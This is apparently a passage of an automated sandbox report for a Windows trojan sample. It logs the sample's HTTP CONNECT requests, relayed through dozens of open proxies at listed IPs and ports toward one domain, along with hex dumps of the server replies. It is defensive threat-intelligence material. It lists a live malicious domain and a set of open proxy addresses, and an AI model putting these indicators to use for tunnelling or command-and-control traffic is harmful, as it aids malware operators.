Feb 23, 2024 14:28:23.538661003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.038467884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.632293940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.941112041 CET	829	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 637 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 73 63 40 67 63 69 2e 67 64 79 6e 69 61 2e 70 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ssc@gci.gdynia.pl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.8	50844	176.98.81.85	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.539804935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.8	50845	212.3.112.128	35860	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.543598890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.8	50041	184.178.172.5	15303	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.557529926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.8	50720	61.133.66.69	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.568990946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.932751894 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.8	50869	82.113.157.122	31280	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.573057890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.8	50047	184.181.217.220	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.573976040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.8	50906	172.67.181.58	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.582587004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.670515060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.8	50872	72.210.208.101	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.583708048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.8	50728	222.220.102.159	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.596843958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.696584940 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Feb 23, 2024 14:28:34.697932005 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.8	50868	193.239.58.92	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.603022099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.8	50924	104.22.14.48	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.609276056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.697400093 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.8	50077	50.63.12.33	23859

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.610853910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.694859028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.788712025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.882584095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.882545948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.8	49954	221.6.139.190	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.613542080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.694885015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.035588980 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Feb 23, 2024 14:28:30.054280043 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.8	50875	185.38.111.1	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.623213053 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:23.811079025 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Length: 0
Feb 23, 2024 14:28:23.998545885 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.8	50769	217.199.151.94	82	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.626458883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.397852898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.683187008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991858006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.585612059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.192265987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.460830927 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.8	50834	175.183.82.221	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.632647991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.956079960 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.8	50184	152.32.238.63	38080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.635343075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.8	50860	43.153.133.208	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.636477947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.8	50787	171.244.140.160	53882	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.638809919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.397866964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.683094978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991841078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.8	50902	98.188.47.132	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.649770021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.8	50901	104.200.152.30	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.659276962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.8	50956	172.67.3.98	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.662714958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.749859095 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.8	50201	54.39.50.68	44612	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.663743973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.694895029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.695771933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.695132971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.8	50852	101.231.64.89	8443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.664597988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.8	50014	115.171.217.48	7890	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.671506882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.976284981 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.8	50969	162.159.242.10	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.681566954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.769587994 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.8	50212	138.197.92.110	35982	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.681735039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.694901943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.788707972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
